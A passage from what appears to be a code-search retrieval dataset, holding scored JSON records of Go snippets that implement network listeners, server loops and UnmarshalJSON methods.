:= i.TaskStream.Recv()\n\t\t\tif e != nil {\n\t\t\t\ti.TaskStreamErr = e\n\t\t\t\treturn\n\t\t\t}\n\t\t\ti.TaskChan <- t\n\t\t}\n\t}()\n\n\treturn\n}", "title": "" }, { "docid": "c70afac98f86cfe47fc96238e0ae30b1", "score": "0.5018729", "text": "func (dt *DtnTransport) Listen(laddr ma.Multiaddr) (DtnListener, error) {\n\treturn DtnListener{}, nil\n}", "title": "" }, { "docid": "b8fab6af1a389cc8fa77d11d56cb3fde", "score": "0.49994043", "text": "func (service *Service) Listen(ctx context.Context) {\n\twg := new(sync.WaitGroup)\n\n\tworkerPool := NewWorkerPool(service.config.Workers)\n\tfor i := 0; i < service.config.Workers; i++ {\n\t\tw := NewWorker(service.sugar, 8, service.config.Version)\n\t\tworkerPool.Add(w)\n\n\t\twg.Add(1)\n\t\tgo func(w *Worker) {\n\t\t\tdefer wg.Done()\n\n\t\t\tw.ProcessJobs(ctx, service.config.Clients)\n\t\t}(w)\n\t}\n\n\twg.Add(1)\n\tgo func() {\n\t\tdefer workerPool.Close()\n\t\tdefer wg.Done()\n\n\t\t// jobs dispatcher\n\t\tfor {\n\t\t\tvar job entities.Job\n\t\t\tvar ok bool\n\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase job, ok = <-service.Jobs:\n\t\t\t\tif !ok {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tw := workerPool.Get(job.Host)\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase w.jobs <- job:\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Wait()\n}", "title": "" }, { "docid": "ed1acfc751954cd3f8ec4a468d7a7d5e", "score": "0.49955577", "text": "func (s *Sender) listen(ctx context.Context, wg *sync.WaitGroup) {\n\tdefer wg.Done()\n\tdefer log.Logger.WithField(\"pipe\", s.config.PipeName).Infof(\"listen routine closed\")\n\tchildCtx, _ := context.WithCancel(ctx) // nolint\n\tfor {\n\t\tselect {\n\t\tcase <-childCtx.Done():\n\t\t\treturn\n\t\tcase status := <-s.listener:\n\t\t\tswitch status {\n\t\t\tcase client.Connected:\n\t\t\t\tlog.Logger.WithField(\"pipe\", s.config.PipeName).Info(\"the client connection of the sender module connected\")\n\t\t\t\tatomic.StoreInt32(&s.blocking, 0)\n\t\t\tcase client.Disconnect:\n\t\t\t\tlog.Logger.WithField(\"pipe\", s.config.PipeName).Info(\"the client connection of the sender module disconnected\")\n\t\t\t\tatomic.StoreInt32(&s.blocking, 1)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2049a815341ba33d56b96b4b67f9f509", "score": "0.4994553", "text": "func (k *KafkaBalanced) StartListening(responses <-chan types.Response) error {\n\tif k.responses != nil {\n\t\treturn types.ErrAlreadyStarted\n\t}\n\tk.responses = responses\n\tgo k.loop()\n\treturn nil\n}", "title": "" }, { "docid": "881aa70a12b77814186cb48cd4c281b6", "score": "0.49929798", "text": "func (e Server) Listen() {\n\tconf := config.GetConf()\n\thost := conf.GetFullHost()\n\te.Logger.Fatal(e.Start(host))\n}", "title": "" }, { "docid": "ccb954acee60b7ea7e3750923b1a2efa", "score": "0.4984936", "text": "func listen() {\n\tlistener, err := net.Listen(\"tcp\", \":1026\")\n\t//starts new server listening on port 1026\n\tif err != nil {\n\t\tfmt.Println(\"Failed to pen port on 1026\")\n\t\treturn\n\t}\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\t//listens for new client connections and handles connection errors\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error accepting connection\")\n\t\t\tcontinue\n\t\t}\n\t\tgo handle(conn)\n\t\t//when a connection accepted, passes it to handle function\n\n\t}\n}", "title": "" }, { "docid": "4d2da16108b46af50f57c5385128854e", "score": "0.49742538", "text": "func Libmqtt_set_sub_handler(client C.int, h C.libmqtt_sub_handler) {\n\tif c, ok := clients[int(client)]; ok {\n\t\tc.HandleSub(func(topics []*mq.Topic, err error) {\n\t\t\tfor _, t := range topics {\n\t\t\t\tvar er *C.char\n\t\t\t\tif err != nil {\n\t\t\t\t\ter = C.CString(err.Error())\n\t\t\t\t}\n\t\t\t\tC.call_sub_handler(h, client, C.CString(t.Name), C.int(t.Qos), er)\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "c2fd9daa7b0c0ebf91d5f0e87cdcff92", "score": "0.49713773", "text": "func main() {\n var wg sync.WaitGroup\n\n wg.Add(1)\n\n //This function will act as the listener of the car on port 3001\n go func(){\n\t \n\n\t app := cli.NewApp()\n\t fmt.Println(\"asdflasdkjf;alskdfja;sdlkfj\\n\\n\")\n \t app.Action = func(c *cli.Context) error {\n \t \t address := c.Args().Get(0)\n\t \t if address == \"\" {\n\t\t \t \t address = defaultMulticastAddress\n\t\t }\n\t\t fmt.Printf(\"Listening on %s\\n\", address)\n\t\t Listen2(address, msgHandler)\n\t\t return nil\n\t }\n\n\t app.Run(os.Args)\n\n\n }()\n\n wg.Wait()\n}", "title": "" }, { "docid": "92fd85bfefe63513210fb49dcc02e6cb", "score": "0.4971115", "text": "func main() {\n\ts := newServer()\n\tgo s.run() //server proccesses the messages and commands in a centralized manner so that messages arrive in order\n\n\tlistener, err := net.Listen(\"tcp\", \":8888\")\n\tif err != nil {\n\t\tlog.Fatalf(\"unable to start server: %s\", err.Error())\n\t}\n\n\tdefer listener.Close()\n\tlog.Printf(\"server started on :8888\")\n\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Connection failed: %s\", err.Error())\n\t\t\tcontinue\n\t\t}\n\n\t\tgo s.newClient(conn) //seperate go routine for each client\n\t}\n}", "title": "" }, { "docid": "88e583360835d7cb847af89d4cd81731", "score": "0.4970639", "text": "func Listen(out chan *pb.LineMessage) {\n\tlogrus.Printf(\"Binding definition provided: %s\\n\", viper.GetString(\"listen.bind\"))\n\n\tif viper.GetBool(\"debug\") {\n\t\tgo startDebug()\n\t}\n\n\tlis, err := net.Listen(\"tcp\", viper.GetString(\"listen.bind\"))\n\tif err != nil {\n\t\tlogrus.Fatalf(\"failed to listen: %v\", err)\n\t}\n\ts := grpc.NewServer()\n\tpb.RegisterLogTransferServer(s, NewServer(out))\n\t// Register reflection service on gRPC Server.\n\treflection.Register(s)\n\tif err := s.Serve(lis); err != nil {\n\t\tlogrus.Fatalf(\"failed to serve: %v\", err)\n\t}\n}", "title": "" }, { "docid": "0f5373f76ed45da3777711e06a03b9fc", "score": "0.49687204", "text": "func (b *Bot) Listen() {\n\tdefer b.close()\n\n\tfor {\n\t\tselect {\n\t\tcase event := <-*b.incomingEvents:\n\t\t\tb.processEvent(event)\n\t\tcase signal := <-*b.quitSignal:\n\t\t\tb.logger.Printf(\"recieved signal: %v\", signal)\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7b14580364471ce1318bcfd3c952fcde", "score": "0.49666145", "text": "func (c *Client) Listen(ctx context.Context, handler Handler) error {\n\terr := c.negotiateOnce(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\taudience := c.getWssAudience()\n\ttoken, err := c.generateToken(audience, 2*time.Hour)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconn, resp, err := websocket.Dial(ctx, c.getWssURI(), websocket.DialOptions{\n\t\tHTTPHeader: http.Header{\n\t\t\t\"Authorization\": []string{\"Bearer \" + token},\n\t\t},\n\t\tHTTPClient: newHTTPClient(),\n\t})\n\tif resp != nil {\n\t\tdefer func() {\n\t\t\t_ = resp.Body.Close()\n\t\t}()\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = c.handshake(ctx, conn)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tselect {\n\tcase <-ctx.Done():\n\tdefault:\n\t\tif h, ok := handler.(NotifiedHandler); ok {\n\t\t\th.OnStart()\n\t\t}\n\n\t\tfor {\n\t\t\tbits, err := readConn(ctx, conn)\n\t\t\tif err != nil {\n\t\t\t\tif err.Error() == \"failed to get reader: context canceled\" {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvar msg InvocationMessage\n\t\t\terr = json.Unmarshal(bits, &msg)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t//fmt.Println(string(bits))\n\t\t\tswitch msg.Type {\n\t\t\tcase pingMessageType:\n\t\t\t\t// nop\n\t\t\tcase invocationMessageType:\n\t\t\t\treturn dispatch(ctx, handler, &msg)\n\t\t\tcase streamInvocationMessageType, streamItemMessageType, cancelInvocationMessageType, completionMessageType:\n\t\t\t\treturn errors.New(\"unhandled InvocationMessage type: \" + string(msg.Type))\n\t\t\tcase closeMessageType:\n\t\t\t\treturn conn.Close(websocket.StatusNormalClosure, \"received close message from SignalR service\")\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "375885120c17b62798488ffd6c84fed3", "score": "0.496472", "text": "func init() {\n\tgo func() {\n\t\tvar clients []listener\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase c := <-listeners:\n\t\t\t\tif Verbosity > 1 {\n\t\t\t\t\tfmt.Printf(\"events: client registered interest in prefix '%s'\\n\", c.prefix)\n\t\t\t\t}\n\t\t\t\tclients = append(clients, c)\n\t\t\tcase e := <-announcements:\n\t\t\t\tif Verbosity > 0 {\n\t\t\t\t\tfmt.Printf(\"events: event '%s' occured; data: %v\\n\", e.Tag, e.Data)\n\t\t\t\t}\n\n\t\t\t\tfor _, c := range clients {\n\t\t\t\t\t// TODO(jon): By not checking the\n\t\t\t\t\t// return value here, we are continuing\n\t\t\t\t\t// to check clients that have closed\n\t\t\t\t\t// their channels for matches, which\n\t\t\t\t\t// could end up being slow. However,\n\t\t\t\t\t// checking the return value means\n\t\t\t\t\t// either we have to not execute it\n\t\t\t\t\t// asynchronously (potentially causing\n\t\t\t\t\t// deadlock), or we have to have a list\n\t\t\t\t\t// that can be concurrently deleted\n\t\t\t\t\t// from; neither of which are things we\n\t\t\t\t\t// want to do just now. Patches are\n\t\t\t\t\t// welcome.\n\t\t\t\t\tgo dispatch(c, e)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n}", "title": "" } ]
677d18ff6950217a200a451b2defed02
UnmarshalJSON sets the object from the provided JSON representation
[ { "docid": "014ae238e423d71bc2b84347c04c7856", "score": "0.0", "text": "func (l *IoTTopicRulePayloadList) UnmarshalJSON(buf []byte) error {\n\t// Cloudformation allows a single object when a list of objects is expected\n\titem := IoTTopicRulePayload{}\n\tif err := json.Unmarshal(buf, &item); err == nil {\n\t\t*l = IoTTopicRulePayloadList{item}\n\t\treturn nil\n\t}\n\tlist := []IoTTopicRulePayload{}\n\terr := json.Unmarshal(buf, &list)\n\tif err == nil {\n\t\t*l = IoTTopicRulePayloadList(list)\n\t\treturn nil\n\t}\n\treturn err\n}", "title": "" } ]
[ { "docid": "88d5e96c2dd5525182f3eed85f836b18", "score": "0.66426563", "text": "func (t *Then) UnmarshalJSON(data []byte) error {\n\tvar sch Schema\n\tif err := json.Unmarshal(data, &sch); err != nil {\n\t\treturn err\n\t}\n\t*t = Then(sch)\n\treturn nil\n}", "title": "" }, { "docid": "b288588bcf7ae5acb1baa1c1a0416ebc", "score": "0.6611835", "text": "func (s *Set) UnmarshalJSON(buf []byte) error {\n\tvar ln string\n\terr := json.Unmarshal(buf, &ln)\n\tif err == nil && len(ln) > 0 {\n\t\t*s, err = ParseUnsafe(bytes.StringToByteArray(ln))\n\t} else {\n\t\t*s = EmptySet\n\t}\n\treturn err\n}", "title": "" }, { "docid": "ba387f3928992e7bc82ffa1cc3df20b8", "score": "0.65906686", "text": "func (o *A_1) UnmarshalJSON(b []byte) error {\r\n\treturn o.DeserializeJSON(b)\r\n}", "title": "" }, { "docid": "d0713973e353c4939af97152e24fe154", "score": "0.6571774", "text": "func fromJSON(s string, r interface{}) (o interface{}) {\n\t_ = json.Unmarshal([]byte(s), o)\n\treturn\n}", "title": "" }, { "docid": "a5902d0a1feaba23855e48011e22a7cd", "score": "0.6504896", "text": "func (x *ListenAt) UnmarshalJSON(data []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\t*x = ListenAt(s)\n\treturn nil\n}", "title": "" }, { "docid": "503809837da1d48b172bf2a01b4499da", "score": "0.64941597", "text": "func (a *Item) UnmarshalJSON(d []byte) error {\n\tvar assetString string\n\terr := json.Unmarshal(d, &assetString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif assetString == \"\" {\n\t\treturn nil\n\t}\n\n\tai, err := New(assetString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*a = ai\n\treturn nil\n}", "title": "" }, { "docid": "c3e3c809401824603c8872ce254104dc", "score": "0.648316", "text": "func (s *MetaItem) UnmarshalJson(data []byte) error {\n\treturn json.Unmarshal(data, s)\n}", "title": "" }, { "docid": "c3e3c809401824603c8872ce254104dc", "score": "0.648316", "text": "func (s *MetaItem) UnmarshalJson(data []byte) error {\n\treturn json.Unmarshal(data, s)\n}", "title": "" }, { "docid": "971184324aba7af681e36cd21c5d969e", "score": "0.6473133", "text": "func (this *Generic) RestoreJSON(j []byte) (error) {\n\treturn json.Unmarshal(j, &this)\n}", "title": "" }, { "docid": "b64f60f4acab8628d1ad1549792c43ce", "score": "0.64385146", "text": "func (j *JSON) UnmarshalJSON(b []byte) error {\n\tstr := string(b)\n\tif !gjson.Valid(str) {\n\t\treturn fmt.Errorf(\"invalid JSON: %v\", str)\n\t}\n\t*j = JSON{gjson.Parse(str)}\n\treturn nil\n}", "title": "" }, { "docid": "1d1869fc339aa4e88509f11f57dae3c3", "score": "0.6391977", "text": "func (memoryset *MemorySet) UnmarshalJSON(b []byte) error {\n\ttype temp MemorySet\n\tvar t struct {\n\t\ttemp\n\t\tMemorySet common.Links\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Extract the links to other entities for later\n\t*memoryset = MemorySet(t.temp)\n\tmemoryset.memorySet = t.MemorySet.ToStrings()\n\n\treturn nil\n}", "title": "" }, { "docid": "7c96149fc645a7e404ec342662034e89", "score": "0.6380304", "text": "func (j *NativeAdMarkup) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "3ce22d12224a9bd2211b96a82b35f14d", "score": "0.637202", "text": "func UnmarshalJSON(b []byte) (val []byte, err error) {\n\terr = json.Unmarshal(b, &val)\n\treturn\n}", "title": "" }, { "docid": "6c8b86a255c7e7719d323f889bc25587", "score": "0.6351814", "text": "func (v *PlantainerModelSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6b0df247DecodeMevericcoreMcplantainer1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "15bf0bfd4980f8e41c6f139c945b48be", "score": "0.6330381", "text": "func (v *Object) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC1cedd36DecodeGithubComSmolaGocompat3(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "191217f37a0828f9a789379e482a3fe6", "score": "0.63142574", "text": "func (j *interaction) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "e5f4c6b38523da4f1221b2ceb5eeb909", "score": "0.63070834", "text": "func (c *Category) UnmarshalJSON(b []byte) error {\n\tvar value string\n\tif err := json.Unmarshal(b, &value); err != nil {\n\t\treturn err\n\t}\n\tcategory, err := ParseCategory(value)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*c = category\n\treturn nil\n}", "title": "" }, { "docid": "b1e6747556ee250126d90d0d4c963190", "score": "0.6302142", "text": "func (obj *Entity) UnmarshalJSON(b []byte) error {\n\tif obj == nil {\n\t\treturn fmt.Errorf(\"unexpected nil for raw objcet\")\n\t}\n\titer := jsoniter.ParseBytes(jsoniter.ConfigDefault, b)\n\treadEntity(iter, obj)\n\treturn iter.Error\n}", "title": "" }, { "docid": "319e5ec0b1db31ea71612d7b9b614c92", "score": "0.6292562", "text": "func (c *Class) UnmarshalJSON(data []byte) error {\n\ts := \"\"\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) != 1 {\n\t\treturn fmt.Errorf(\"unknown class: %q\", s)\n\t}\n\t*c = Class(s[0])\n\treturn nil\n}", "title": "" }, { "docid": "de675f986915e1be3d373bb597bc690a", "score": "0.6291673", "text": "func (t *Type) UnmarshalJSON(b []byte) error {\n\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\n\ttt, err := Parse(s)\n\t*t = tt\n\treturn err\n}", "title": "" }, { "docid": "f33aac180051a2ff475be31876cad4c6", "score": "0.6289159", "text": "func (j *typ) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "3c6baf950059716086dd0cb904aebf20", "score": "0.62889266", "text": "func (j *Asset) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "17026e542e7c925dba02d6de1f0b852b", "score": "0.6287007", "text": "func (v *Create) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5a72dc82DecodeGithubComZorinArsenijTechDbForumInternalAppDomainPost5(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "f1fce059f9975ec946d2f2ca12cd511f", "score": "0.62824863", "text": "func (tag *Tag) UnmarshalJSON(b []byte) (err error) {\n\tvar s string\n\tif err = json.Unmarshal(b, &s); err == nil {\n\t\t*tag = Tag(s)\n\t} else {\n\t\tvar n json.RawMessage\n\t\tif err = json.Unmarshal(b, &n); err == nil {\n\t\t\t*tag = Tag(n)\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "e7f4bf2ac14952c3c780d3c2db109377", "score": "0.6279469", "text": "func (t *TestCustomObj) UnmarshalJSON([]byte) error {\n\tt.Unmarshal = true\n\treturn nil\n}", "title": "" }, { "docid": "60f5dd7d91e71c776b2b4731181f9b84", "score": "0.62791675", "text": "func (v *SetMode) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonFa90ddaeDecodeGithubComAsmyasnikovGoMavlinkMavlinkDialectsAll21(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "072c6b57a24d725cbba7bad2deafbc07", "score": "0.6274601", "text": "func (v *NewArticle) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC80ae7adDecodeGithubComDipressCrmifcInternalArticle(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "02c98abe264fa95f5a3c87a0762a331a", "score": "0.6274154", "text": "func (j *NativeAsset) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "4ca5a2a537310eaa790948ae1647e5a8", "score": "0.62613577", "text": "func (v *SetMode) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonFa90ddaeDecodeGithubComAsmyasnikovGoMavlinkMavlinkDialectsAutoquad18(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "a77284ed7f01566ef2aa3cee46a5dcc4", "score": "0.6250097", "text": "func (a *Artist) FromJSON(in []byte) error {\n\treturn json.Unmarshal(in, &a)\n}", "title": "" }, { "docid": "567d3aea0717c6a528f1602157a75c94", "score": "0.62496495", "text": "func (sc *SetConfigResponse) UnmarshalJSON(data []byte) error {\n\tvar err error\n\ttest := struct {\n\t\tSuccess bool `json:\"success\"`\n\t\tDescription *string `json:\"description,omitempty\"`\n\t}{}\n\n\t//Verify that incoming string will unmarshal successfully\n\tif err = json.Unmarshal(data, &test); err != nil {\n\t\treturn err\n\t}\n\n\tsc.Success = test.Success\n\n\tif test.Description != nil {\n\t\tsc.Description = *test.Description\n\t}\n\n\tsc.isValidated, err = sc.Validate()\n\n\treturn err\n}", "title": "" }, { "docid": "f748629781f32fb68b709c9d0ec268a1", "score": "0.6243178", "text": "func (v *MetaData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonBa0ee0e3DecodeTrafficDataProcessingModel(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "a4edd17688385377e5766aa06759df8c", "score": "0.62427956", "text": "func (x *ConnectTo) UnmarshalJSON(data []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\t*x = ConnectTo(s)\n\treturn nil\n}", "title": "" }, { "docid": "ba5677b6b62c32b96462e9e487d7095e", "score": "0.62411684", "text": "func (id *TrackerID) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\n\t*id = TrackerID(s)\n\treturn nil\n}", "title": "" }, { "docid": "c61406648cb60ba8685133b7a9e8c8b3", "score": "0.62411153", "text": "func (ut *Unix_t) UnmarshalJSON(b []byte) (err error) {\n\tvar s string\n\tif err = json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tvar t time.Time\n\tif t, err = time.Parse(ExifDate, s); err != nil {\n\t\treturn\n\t}\n\t*ut = UnixJS(t)\n\treturn\n}", "title": "" }, { "docid": "3ff8dd6438e2249e47b9c0406a111534", "score": "0.6234311", "text": "func (t *Transaction) UnmarshalJSON(data []byte) error {\n\ttype transaction Transaction\n\tvar tt transaction\n\terr := json.Unmarshal(data, &tt)\n\tif err == nil {\n\t\t*t = Transaction(tt)\n\t} else {\n\t\t// the id is surrounded by \"\\\" characters, so strip them\n\t\tt.ID = string(data[1 : len(data)-1])\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c69a26b2f6240ec209e508f658263c31", "score": "0.6232242", "text": "func (v *RepayInfo) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson9f2eff5fDecodeCh07Json09jsonBenchmark(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "56455c8121aa83585d0a468857f8fdf6", "score": "0.6231719", "text": "func UnmarshalJSON(data []byte, v interface{}) error {\n\treturn json.Unmarshal(data, v)\n}", "title": "" }, { "docid": "78fc5af6bb7616a2e7595d236f072351", "score": "0.62296796", "text": "func (v *Ad) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson63cbde9bDecodeGithubComSaskamegaprogrammistLostiesBackendModels1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "52b7c551d22bde6a397f7b888e279ddc", "score": "0.6217307", "text": "func (v *Entity) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson461f4b12DecodeMonzoTransactionsMonzo2(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "7088f4d5b6c25a9b8b50cfaf82758487", "score": "0.62086993", "text": "func (ert *ExtRequestPrebidCache) UnmarshalJSON(b []byte) error {\n\ttype typesAlias ExtRequestPrebidCache // Prevents infinite UnmarshalJSON loops\n\tvar proxy typesAlias\n\tif err := json.Unmarshal(b, &proxy); err != nil {\n\t\treturn err\n\t}\n\n\tif proxy.Bids == nil && proxy.VastXML == nil {\n\t\treturn errors.New(`request.ext.prebid.cache requires one of the \"bids\" or \"vastml\" properties`)\n\t}\n\n\t*ert = ExtRequestPrebidCache(proxy)\n\treturn nil\n}", "title": "" }, { "docid": "f842a0dd70aab546eee9359a96d25168", "score": "0.6187804", "text": "func (t *T) UnmarshalJSON(data []byte) (err error) {\n\tvar rt time.Time\n\tif err = rt.UnmarshalJSON(data); err != nil {\n\t\treturn\n\t}\n\t*t = T(rt.Unix())\n\treturn\n}", "title": "" }, { "docid": "1e60179951c02c2ba989ebd72bca577d", "score": "0.618621", "text": "func (j *MetaResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "9037a8a4e4aeb39ebd1b66287c29ba04", "score": "0.61805385", "text": "func (v *SmallPayload) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson794297d0DecodeGithubComTahiaKhanGoJsonBenchmarkSuite(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "2da233b8429bd5aecfbc424705163f60", "score": "0.61802393", "text": "func (v *ScUser) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson2564ebc2DecodeModels(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "4517420ad825bc401f0b7cdd5cb3763b", "score": "0.61792976", "text": "func (v *MissionSetCurrent) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonFa90ddaeDecodeGithubComAsmyasnikovGoMavlinkMavlinkDialectsAutoquad58(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "039e459f5ad50d25f695eea86d628ff7", "score": "0.61679584", "text": "func (tag *Tag) UnmarshallJSON(data []byte) (Tag, error) {\n\tvar t Tag\n\terr := json.Unmarshal(data, &t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn NewTag(t.Name, t.CreatedAt), nil\n}", "title": "" }, { "docid": "2a5404f68589163a2ed116f90ab9e640", "score": "0.61673224", "text": "func (q *Transform) UnmarshalJSON(data []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(data, &s); err == nil {\n\t\t*q = Transform{path: datastore.NewKey(s)}\n\t\treturn nil\n\t}\n\n\t_q := &_transform{}\n\tif err := json.Unmarshal(data, _q); err != nil {\n\t\treturn err\n\t}\n\n\t*q = Transform{\n\t\tAppVersion: _q.AppVersion,\n\t\tConfig: _q.Config,\n\t\tData: _q.Data,\n\t\tQri: _q.Qri,\n\t\tResources: _q.Resources,\n\t\tStructure: _q.Structure,\n\t\tSyntax: _q.Syntax,\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4ebd651884a6e4cd4c69219c0e90c3dc", "score": "0.6162906", "text": "func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}", "title": "" }, { "docid": "9d83789d22a827b78dfac7aadc706a86", "score": "0.6159739", "text": "func (j *NativeData) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "b90cf65d3fb8739df231d306ccfa7bf8", "score": "0.61534625", "text": "func (a *Application) UnmarshalJSON(data []byte) error {\r\n\ttype application Application\r\n\tvar aa application\r\n\terr := json.Unmarshal(data, &aa)\r\n\tif err == nil {\r\n\t\t*a = Application(aa)\r\n\t} else {\r\n\t\t// the id is surrounded by \"\\\" characters, so strip them\r\n\t\ta.ID = string(data[1 : len(data)-1])\r\n\t}\r\n\r\n\treturn nil\r\n}", "title": "" }, { "docid": "97382d7b6097684d2b5f2240853213ce", "score": "0.6151633", "text": "func (r *RequireMFAType) UnmarshalJSON(data []byte) error {\n\tvar val interface{}\n\terr := json.Unmarshal(data, &val)\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\terr = r.decode(val)\n\treturn trace.Wrap(err)\n}", "title": "" }, { "docid": "ef35f1dbc92c30a14147e27e616445bf", "score": "0.61489946", "text": "func unmarshalJSON(b []byte, v interface{}) error {\n\tvar j map[string]interface{}\n\tjson.Unmarshal(b, &j)\n\tb, _ = bson.Marshal(&j)\n\treturn bson.Unmarshal(b, v)\n}", "title": "" }, { "docid": "eaae6ef610af2b90be34a3aa8d64ebca", "score": "0.61478955", "text": "func FromJSON(i interface{}, r io.Reader) error {\n\tdecoder := json.NewDecoder(r)\n\treturn decoder.Decode(i)\n}", "title": "" }, { "docid": "3c0b6b83cb0b64304de309dee642a49d", "score": "0.61450917", "text": "func (v *MissionSetCurrent) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonFa90ddaeDecodeGithubComAsmyasnikovGoMavlinkMavlinkDialectsAll76(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "ae1cfd34c746ed3f7baeedbbde66e20f", "score": "0.614101", "text": "func (v *Form) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC80ae7adDecodeGithubComDipressCrmifcInternalArticle1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "c524c0ca1381fc12d31eba83670ea738", "score": "0.61409926", "text": "func (v *Tense) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComNoisyscannerGoflyGofly2(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "e64dd5b35006d5ef733fe8b33b56fed8", "score": "0.6139769", "text": "func (v *SetPositionTargetLocalNed) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: 